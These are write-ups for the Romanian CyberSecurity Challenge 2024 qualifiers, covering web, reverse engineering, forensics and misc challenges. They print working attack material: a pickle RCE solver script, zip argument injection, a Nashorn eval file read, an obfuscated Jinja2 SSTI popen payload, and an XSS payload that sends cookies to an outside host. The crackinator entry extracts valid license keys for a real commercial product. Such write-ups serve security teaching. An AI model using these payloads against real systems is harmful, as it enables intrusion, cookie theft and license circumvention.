RoCSC 2024
Write-ups for the Romanian CyberSecurity Challenge 2024 Online Qualifiers.
- bin-diving (250 pts, 51 solves) - Misc
- friendly-colabs (205 pts, 60 solves) - OSINT
- rtfm (315 pts, 38 solves) - Misc
- java-eval (410 pts, 19 solves) - Web
- grocery-list (280 pts, 45 solves) - Web
- binary-illusions (266 pts, 33 solves) - Reverse Engineering
- from-memory (103 pts, 63 solves) - Forensics
- crackinator (449 pts, 11 solves) - Reverse Engineering
- the-harmonica (445 pts, 12 solves) - Steganography
- ui-crack (435 pts, 14 solves) - Reverse Engineering
- decryptor (435 pts, 14 solves) - Reverse Engineering
- counting (430 pts, 15 solves) - Cryptography
- special-waffle (282 pts, 21 solves) - Threat hunting, Threat intelligence
- android-echoes (255 pts, 50 solves) - Mobile
- joker-and-batman-story (180 pts, 65 solves) - Misc
- cool-upload (400 pts, 21 solves) - Web
bin-diving (250 pts, 51 solves) - Misc
Description:
It's a dumpster dive like no other, where the trash talk is just as valuable as the treasures you uncover. Get ready to rummage for the ultimate prize!
Flag format: CTF{sha256}
We can get RCE by deserializing Pickle objects in Python. The flag is "deleted", but we can see it in the command line of other processes :)
Solver script:
from pwn import *
sh = remote('35.246.182.143', 32273)
import pickle
import base64
import requests
import sys
class PickleRCE(object):
def __reduce__(self):
return (exec,(command,))
command = 'import os; print(os.popen("ps -aux").read())'
payload = base64.b64encode(pickle.dumps(PickleRCE())) # Crafting Payload
sh.sendlineafter(b'I want to', payload)
sh.interactive()
Flag
CTF{7ec872e2eac614d2ee8f6055207d51c5603df6ca2df9f6207d72f91b1e9ec28a}
friendly-colabs (205 pts, 60 solves) - OSINT
Description:
Find the hidden secrets and get the flag.
Flag format CTF{sha256}
Resource: https://github.com/b3taflash/friendly-colabs
*PS: The flag from index.php test-version repository isn't correct, ignore it. Find the real one, will be obvious when you'll find it.*
We have an access token for the b3taflash account. We'll use it to authenticate ourselves and clone the repository https://github.com/b3taflash/friendly-colabs, where we'll find parts 1 and 2 of the flag. Part 3 is found in the repository https://github.com/danielpopovici16/secret.git
- Find the access token (encoded in base64) in this commit: https://github.com/danielpopovici16/source-colab/commit/3b8d10494c97ad1ef147e66b0d97d76e409983fe and use it with the git command-line tool to clone the repository https://github.com/b3taflash/friendly-colabs
- The repository seems empty at first, but we can see a pack of objects using
find .
:./.git/objects/pack/pack-de900e9654fa03cd1a6e71ec786d6af52da304ee.idx ./.git/objects/pack/pack-de900e9654fa03cd1a6e71ec786d6af52da304ee.pack
- Use
git verify-pack
to list the contents of the pack file:adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git verify-pack -v ./.git/objects/pack/pack-de900e9654fa03cd1a6e71ec786d6af52da304ee.idx
- Now use
git cat-file -p <hash>
to read the objects and find the first two flag parts: First part:
Second part:adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git cat-file -p 866e6eec41d93cf9b282727da0812134118665c9 tree 875313de163620b4cf67145e5f616bbe1e467b02 parent 8d5bc9936293a63851029b48b1842e617eef9fa5 author Part <CTF{d0eba2a6600812a51a3d0@firstpart.flag> 1709632359 +0200 committer dani <daniel@bit-sentinel.com> 1709632359 +0200 add generator script
adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git cat-file -p 11272d951ad11858ccf24d0edf5653ac35a7d4ad FROM ubuntu:18.04 RUN apt update && apt install -y \ socat \ python3 \ python3-pip \ python3-dev \ iputils-ping #build-essential #git \ #libssl-dev \ #libffi-dev \ #a00ed43aef619574358ec62@secondpart.flag RUN pip3 install flask RUN useradd -d /home/ecsc/ -m -p ecsc -s /bin/bash ecsc RUN echo "ecsc:ecsc" | chpasswd WORKDIR /home/ecsc COPY server . RUN chmod 755 * && chown root. /home/ecsc USER ecsc ENTRYPOINT python3 app.py
- Hint for the last part of the flag:
adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git cat-file -p ebd6b8e6f6057b4ad11543e15ab302a630e10de9 tree d12e06ca0f3fc801a54683e85dae0376a732b5b6 parent 8d5bc9936293a63851029b48b1842e617eef9fa5 author dani <daniel@bit-sentinel.com> 1709632965 +0200 committer dani <daniel@bit-sentinel.com> 1709632965 +0200 special thanks to https://github.com/danielpopovici16/secret.git
- Now we know to also clone https://github.com/danielpopovici16/secret
- This repo also doesn't have much, so we use the same
verify-pack
trick.adragos@pop-os:~/Desktop/ctf/secret$ git verify-pack -v ./.git/objects/pack/pack-ba7b240848e2325909d1c5523c607257117abeef.idx
adragos@pop-os:~/Desktop/ctf/secret$ git cat-file -p 1ce76d7f2ea1532eeb48586a29ec3029df67b039 # secret the last part of the flag is <d20506daf92baf1d83ce}>
Flag
CTF{d0eba2a6600812a51a3d0a00ed43aef619574358ec62d20506daf92baf1d83ce}
rtfm (315 pts, 38 solves) - Misc
Description:
Let me tell you this..... you really need to read the manual.
I read the manual and solved it :). The idea is that we can control an argument in the zip command, and using -T and -TT we can execute shell functions.
(base) ~/Desktop/ctf/from-memory nc 35.246.209.188 31718
-TDTT/bin/sh -c ./f* 2>&1
Zip me: updating: test_file (stored 0%)
./flag.txt: 1: Flag_Chaining_FTW: not found
./flag.txt: 3: CTF{baf0c514219ab318bc663c815a4f2b69e6b5767b398f07eebcc5b235b194f9be}: not found
test of test.zip FAILED
zip error: Zip file invalid, could not spawn unzip, or wrong unzip (original files unmodified)
The -D flag was added because we needed a way to tell zip to differentiate between T and TT flags.
Flag
CTF{baf0c514219ab318bc663c815a4f2b69e6b5767b398f07eebcc5b235b194f9be}
java-eval (410 pts, 19 solves) - Web
Description:
Eval stuff everywhere. What is going on?
Summary We can execute JavaScript in Java through command injection using '. The problem is that it's not standard JavaScript; it uses the Nashorn engine. This means we can't use typical Node.js gadgets to get a shell or read files. Fortunately, there's a StackOverflow answer for this: https://stackoverflow.com/questions/67668010/in-the-nashorn-javascript-engine-how-can-i-read-a-file-from-the-file-system
Proof of Solution
GET /index.jsp?eval='%2ba();function+a()%7bvar+pathObj=java.nio.file.Paths.get('/home/ctf/flag.txt');var+bytesObj=java.nio.file.Files.readAllBytes(pathObj);var+bytes=Java.from(bytesObj);return+String.fromCharCode.apply(null,bytes);%7d;// HTTP/1.1
Host: 34.89.210.219:32297
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en;q=0.9
Cookie: JSESSIONID=A725D8E8DD6739A0A15F460FADEB0CE7
Connection: close
Explanation
- Vulnerability: There's a Java application that's vulnerable to command injection. An attacker can inject JavaScript code into a command executed by the application.
- Nashorn Engine: The Java application isn't using standard JavaScript, but rather the Nashorn engine. This makes typical file reading and command execution techniques used with Node.js ineffective.
- Solution: The StackOverflow answer provides a custom JavaScript function that can be used specifically with the Nashorn engine to read files:
- java.nio.file.Paths.get('/home/ctf/flag.txt'): Constructs a file path object pointing to the target file.
- java.nio.file.Files.readAllBytes(pathObj): Reads the contents of the file into a byte array.
- Java.from(bytesObj): Helps the Nashorn engine handle Java data types.
- String.fromCharCode.apply(null, bytes): Converts the file's bytes into a string.
- Exploit: The provided HTTP request shows the attacker exploiting the vulnerability. The
eval
parameter takes JavaScript code encoded in URL encoding (%2b, etc.). This code defines the file-reading function and then executes it, likely revealing the flag.
Flag
CTF{a9e8fe4e6c34ba63d43414e3729db5ec9dc9582f6b7d3d0c25351973d6dfd6a7}
grocery-list (280 pts, 45 solves) - Web
Description:
"Ehm...milk...eggs...what else? WHAT ELSE?!"
Day after day i just could not remember all the stuff i was planning to buy.
No more! Now I've made myself my own grocery list website! And wait, there's more: IT'S HACKER PROOF
Is you memory as volatile as mine? Maybe you should use the my web app...
In this scenario, we exploit an SSTI (Server-Side Template Injection) vulnerability in a Flask/Jinja2 application lacking proper restrictions. The goal is to execute arbitrary commands on the server or read sensitive files.
Proof of Concept:
After some exploration, I crafted the following payload:
{% for key, value in cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("items")() %}
{% if key == "\x6f\x73" %}
{% endif %}
{% endfor %}
Explanation:
- Iterating through globals: We loop through key-value pairs within the global
__globals__
dictionary. - Targeting the 'os' module: We search for the key
"os"
, which represents the Python 'os' module. - Command Execution: The
attr
function is used to call thepopen
method from the 'os' module. We execute the commandcat f*
, which lists all files starting with 'f' in the current directory. - Reading Output: Using
attr
again, we call theread
method to capture the output of thecat
command.
Additional Notes:
- The
\x
characters in the strings are used to bypass potential restrictions that the application might have in place. - This payload demonstrates both command execution and the ability to read files from the server.
Flag
CTF{5fd924625f6ab16a19cc9807c7c506ae1813490e4ba675f843d5a10e0baacdb8}
binary-illusions (266 pts, 33 solves) - Reverse Engineering
Description:
Uncover the deceptive veil of binary interactions where hidden vulnerabilities lie in wait. Dissect the digital fabric, discerning subtle patterns that lead to the heart of system control. Navigate the blurred boundaries of trust and deception to secure the elusive flag.
Basic questions about the given rev / windows binary. I used Binary Ninja for decompilation, but any decompiler like IDA/Ghidra would have worked.
VCRUNTIME140_1.dll
is a known Windows DLL, and it is one of the files that we can download from the challenge, so the answer isdll-hijacking
- We can just check the strings and look for any string that looks like an SQL query
- In the DLL, we can see how the flag is initialized character by character:
Flag
1. dll-hijacking
2. SELECT * FROM Win32_OperatingSystem
3. CTF{m4st3r-0F-r3ver7e}
from-memory (103 pts, 63 solves) - Forensics
Description:
Do you rember this .. from memory?
Summary Using Volatility to answer questions from a memory dump.
Proof of Concept
- I used the
netscan
command to view network connections. - Since
cmdscan
didn't work, I searched for commands directly within thestrings
output. - Similar to the previous task, analyzing the command outputs revealed the execution of CashCat.exe.
Flag
1. 10.0.2.15
2. PSRansom.ps1
3. CashCat.exe
crackinator (449 pts, 11 solves) - Reverse Engineering
Description:
Participants need to reverse engineer a serial key generation process implemented in a Windows program for the specified user, "crack@rocsc.ro."
By analyzing the program's code and behavior, participants will need to got the secret key and understand the underlying cryptographic mechanisms.
Don't forget to use crack@rocsc.ro for validating the serial key.
Flag format : XXXXXX-XXXXXX-XXXXXX-XXXXXX-XXXXXX
![key](https://unbreakable.ro/wp-content/uploads/2024/03/key.jpg)
Summary:
This goal of the challenge is to generate a valid license for the PassFab Zip program.
Proof of Concept:
Extract the binaries:
- The program uses Inno Setup for installation.
- We use InnoUnpacker-Windows-GUI to extract the relevant binaries.
- The binary of interest is
PassFab for ZIP.exe
.
Reverse engineer the binary:
- We reverse engineer the
PassFab for ZIP.exe
binary. - We find the function
sub_444C40
that generates and verifies the license. - The function generates a valid license and compares it to the user input.
- We reverse engineer the
Generate the license:
- We set a breakpoint at the
sub_444C40
function. - We copy the contents of the buffer that contains the generated license.
- We set a breakpoint at the
Flag
1. D66D83-7A8B61-20F07F-F78A5A-7ADD1569
2. D66D83-6C8F7E-3AF368-CCAF50-63EC367B
3. D66D83-7F807F-3AF278-E28364-69C41558
the-harmonica (445 pts, 12 solves) - Steganography
Description:
To steal data from the record company, hacker Gheorghe Gheorghescu hid data in the files produced by the record company. We need to find out what data he stole.
Summary:
In this challenge we need to recover a flag hidden in an MP3 header. I noticed that the flag was in the MP3 header by opening the file in a hex editor:
Proof of Concept:
Locate the flag:
- Open the MP3 file in a hex editor.
- Search for the flag pattern, which appears to be "Td, Fd, {d".
- Notice that the flag parts are 576 bytes apart.
Extract the flag:
- Write a Python script to automate the extraction process.
- The script reads the MP3 file and extracts the flag parts at the specified intervals.
- The script prints the flag characters to the console.
Result:
- The script successfully extracts the flag.
t = open('Duck.mp3', 'rb').read()
idx = 622
for i in range(69):
print(chr(t[idx]), end='')
idx += 576
Flag
CTF{a68b871a823e54918070ebe1274cb0fb90fa2fc38baddbaf9c3f7ae301cdac4}
ui-crack (435 pts, 14 solves) - Reverse Engineering
Description:
Can you crack-me?
Reversing a Windows GUI Application for a Flag
Summary:
The challenge requires us to reverse a Windows GUI application to find the flag.
Proof of Concept:
Locate the relevant binary:
- The binary of interest is
QCM.exe
.
- The binary of interest is
Find the flag check function:
- Since there is no exact method to locate flag check functions in GUI applications, we rely on strings and decompilation.
- The function that checks the flag is located at address
0x1400016f0
.
Analyze the function:
- Decompilation reveals that the function splits the input with
-
and checks if the result has a length of 5 (4-
characters). - It then performs individual checks on each part of the key:
- First part is compared to
"RO"
. - Second part is compared to
"CTF"
. - Third part is compared to
2024
(after casting to an integer). - Fourth part is compared to
"HACKERS"
. - Fifth part is compared to
"WINDOWS"
.
- First part is compared to
- Decompilation reveals that the function splits the input with
Extract the flag:
- We use a debugger to dynamically extract the flag.
- The flag is hashed using SHA-256.
Now that we have the correct input, we can get the flag as follows:
>>> hashlib.sha256(b'RO_CTF_2024_HACKERS_WINDOWS').hexdigest()
'165cd3a1c5f03af866353834a5e256170d8f345fbd06c2c6cb43565d1edec5f2'
Flag
CTF{165cd3a1c5f03af866353834a5e256170d8f345fbd06c2c6cb43565d1edec5f2}
decryptor (435 pts, 14 solves) - Reverse Engineering
Description:
You have managed to get away with an app and some data encrypted with it. All you know is that there is a passphrase, it starts with R and on the keyboard last used, the CapsLock key was stuck. Can you get the valuable info inside this file?
Summary:
We are given an ARM binary that decrypts data.enc
given the correct password.
Proof of Concept:
Analyze the binary:
- The binary checks if the input password is 9 characters long.
- It then hashes the password using MD5 and compares the result to a value stored in the binary (in reverse order).
Crack the password:
- We can use hashcat to brute-force the MD5 hash.
- The description provides a hint that the password uses all caps lock.
- We run the following hashcat command:
hashcat -a 3 -m 0 9c3bf72611a2a9aa8b966f28a0696229 --backend-ignore-cuda -1 ?u?d 'R?1?1?1?1?1?1?1?1'
- Decrypt the file:
- The password is
R0C3C2O2A
. - We can run
./decryptor.x64 R0C3C2O2A
on a Linux machine with ARM (or a VM) to obtain the flag.
- The password is
Flag
CTF{C870DCE1F79F02D2E6229F570B8D1E46E2ACD4FCD60DF211ADE4957246FA8110}
counting (430 pts, 15 solves) - Cryptography
Description:
Decode this and it will tell you what to do.
Cracking a Monoalphabetic Substitution Cipher
Summary: Challenge involves a monoalphabetic substitution cipher with a custom 4-digit encoding.
Proof of Concept:
We are given this ciphertext:
02000115 060003300500 0045010000300330004501000045 0445014502000430 000002450245 060003300500 0315010001000045 04450330 00450330 031503300530 02000430 04450330 0145000004300145 02000445 000003150045 0445014500000445 02000430 0600033005000415 0115024500000130
Decode the ciphertext:
- We replace each group of 4 digits with a corresponding letter.
- This gives us the partially decoded message:
AB CDE FGJDFGF KLAM NOO CDE HGGF KD FD HDP AM KD LNML AK NHF KLNK AM CDEQ BONR
Solve the cipher:
- Use a tool like quipqiup (https://www.quipqiup.com/) to automatically break the remaining substitution cipher.
Find the flag:
- The instructions in the decoded message tell us to hash the full sentence.
- Using SHA-256, we hash the message:
import hashlib
hashlib.sha256(b'IF YOU DECODED THIS ALL YOU NEED TO DO NOW IS TO HASH IT AND THAT IS YOUR FLAG').hexdigest()
- The SHA-256 hash of the sentence is the flag:
cd4b93421619bbeeddc3006e4e2132b6d4acac4327b9fb6d384fed41a1a79365
Flag
ctf{cd4b93421619bbeeddc3006e4e2132b6d4acac4327b9fb6d384fed41a1a79365}
special-waffle (282 pts, 21 solves) - Threat hunting, Threat intelligence
Description:
In the year 2021, as you were on the cusp of drifting into slumber, the abrupt intrusion of a ringing telephone jolted you awake. This disruption signaled the emergence of a cybersecurity incident demanding your immediate attention and expertise across various critical aspects.
You should access the 1* index , events are logged from 3 years ago.
Summary:
This challenge involves identifying threats by analyzing logs stored in Kibana.
Proof of Concept:
- Identifying Local Source:
- Since we only have network events, we select a source IP that appears to be local.
- Filtering by DNS and HTTP:
- We filter by
dns_query
andhttp_payload
to identify suspicious requests. - We observe suspicious POST requests to
test.dirigu.ro
.
- Filtering by GET Requests:
- We further filter by GET requests to refine the analysis.
- Identifying the Threat:
- The logs lead us to "Squirelwaffle".
- Therefore, "waffle" is the answer to the question posed.
Flag
1. 172.16.1.219
2. test.dirigu.ro
3. document.zip
4. waffle
android-echoes (255 pts, 50 solves) - Mobile
Description:
Someone has sent you a mysterious message, containing an Android mobile application.
You set an emulated environment, make a coffee and start to analyze the application to find the secrets inside it.
Summary:
The challenge involves an Android application with a vulnerable broadcast receiver, but the though the flag algorithm is relatively simple and can be solved statically.
Proof of Concept:
- Decompile the application:
- Decompile the application to obtain the source code.
- Analyze the flag generation code:
- Locate the code that generates the flag.
- In this case, the flag is simply a concatenation of strings from the
generateObfuscatedResourceNames()
function.
- Extract the flag strings:
- Extract the flag strings from the
res/values/strings.xml
file.
./resources/res/values/strings.xml: <string name="obf_a1b2c">Njk2ZGUz</string>
./resources/res/values/strings.xml: <string name="obf_d3e4f">YzQyZjBl</string>
./resources/res/values/strings.xml: <string name="obf_g5h6i">OWMyNWVm</string>
./resources/res/values/strings.xml: <string name="obf_j7k8l">YzBjZTQ5</string>
./resources/res/values/strings.xml: <string name="obf_m9n0o">MzdkMzFm</string>
./resources/res/values/strings.xml: <string name="obf_p1q2r">NTFlNGJj</string>
./resources/res/values/strings.xml: <string name="obf_s3t4u">NjU3ZmMy</string>
./resources/res/values/strings.xml: <string name="obf_v5w6x">ZmNkZTU4</string>
./resources/res/values/strings.xml: <string name="obf_y7z8a">Y2ZlMDQ1</string>
./resources/res/values/strings.xml: <string name="obf_b9c0d">YjkyYmQx</string>
- The strings are obfuscated, but they can be easily deobfuscated.
- Concatenate the strings and decode the flag:
- Concatenate the strings in the order specified by the
generateObfuscatedResourceNames()
function. - The result is:
Njk2ZGUzYzQyZjBlOWMyNWVmYzBjZTQ5MzdkMzFmNTFlNGJjNjU3ZmMyZmNkZTU4Y2ZlMDQ1YjkyYmQx
- Decode the base64-encoded flag to obtain the final flag.
Flag
696de3c42f0e9c25efc0ce4937d31f51e4bc657fc2fcde58cfe045b92bd1
joker-and-batman-story (180 pts, 65 solves) - Misc
Description:
Batman receives a secret letter from Joker. Taking into consideration their past, for sure something is stinky in there. Can you find what? It seems that a photo with a bat is the problem.
Flag format: CTF{sha256(message)}
Summary:
The challenge involves cracking a WPA2 password using aircrack-ng, and then recovering a hidden message from an image using stegseek.
Proof of Concept:
- Crack the WPA2 password:
- Use aircrack-ng to crack the WPA2 password from the captured pcap file.
- Use a dictionary attack with the provided hint (extract Joker-related words from
rockyou.txt
). - The command is:
aircrack-ng -a2 -w crack.txt joker_hack-01\ \(custom\ batman\ story\).cap
- The password is
Joker4life
.
- Decrypt the traffic:
- Use Wireshark to decrypt the captured traffic using the cracked password.
- You will see HTTP traffic.
- Extract interesting objects:
- Use Wireshark to dump interesting objects.
- Two interesting objects are
%2f
(a letter from Batman to Joker) andbat-logo.jpeg
.
- Extract hidden message from the image:
- Use stegseek to extract the hidden message from the image.
- The first hint suggests that the password for steghide is in the letter.
- Extract all words from the letter using the command:
cat '%2f' | grep -E '\b\w+\b' -o
- The password is
Harlequinof
. - Use stegseek to extract the hidden message with the command:
stegseek --seed Harlequinof bat-logo.jpeg
- The flag is revealed.
Flag
ctf{b4AtM4n_l0v3s_j0K3r_w1Th0uT_Pr3jUd1C3}
cool-upload (400 pts, 21 solves) - Web
Description:
Cool upload server which allows you to report interesting files to the admin, but as he wanted
some fancy javascript animations on the site he missed something.
Find what's wrong coded and steal the secrets.
Summary
XSS Challenge
Proof of Solution
We observe that we can upload files, but not with the .js extension:
// Do not allow any js files
function isNotJsExtension(filePath) {
const extension = path.extname(filePath);
return extension.toLowerCase() !== '.js';
}
We also have nosniff:
// uhh sniffing...
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
next();
});
Therefore, we cannot use images for JavaScript files.
And finally, we have a custom route:
app.get('/custom', (req, res) => {
let text = req.query.text;
if (text) {
// Sanitize the text input to ensure it's safe to use in the output
text = sanitizeHtml(text, {
allowedTags: [],
allowedAttributes: {} // Do not allow any HTML attributes / tags
});
// Use the sanitized text
res.send(`You entered: ${text}
<script src="http://localhost:8080${text}"></script>
`);
} else {
res.send('Please provide the name of the js in the query parameter. For example, ?text=hello_rocsc2024.js');
}
});
Which we will use to achieve XSS. Even if .js is not allowed, .mjs is, and it will have the same Content-Type as .js. We can leverage this to achieve XSS.
lol.mjs:
location = "//06sjnkhn.requestrepo.com/?flag= [invalid URL removed]" + document.cookie;
Then, we can report to the URL http://localhost:8080/custom?text=/public/uploads/local-lol.mjs and get the flag:
Explanation
The provided code demonstrates a vulnerable web application that allows for a Cross-Site Scripting (XSS) attack. Here's how it works:
- File Upload Restriction: The application attempts to prevent the direct upload of JavaScript files (.js)
- Content-Type Misinterpretation: The
nosniff
header is meant to prevent browsers from guessing file types, but it's not perfect. - Vulnerable Custom Route: The
/custom
route takes user input and directly reflects it within a<script>
tag. Insufficient sanitization makes it vulnerable. - XSS Payload: The attacker uploads a file named
lol.mjs
. Modern browsers execute.mjs
files as JavaScript. The payload redirects the victim's browser to an external site, sending the victim's cookies.
Flag
CTF{f7a7e2c537476176b0763263c6ff9c89c6d111c43955f876f61c866dcbff6361}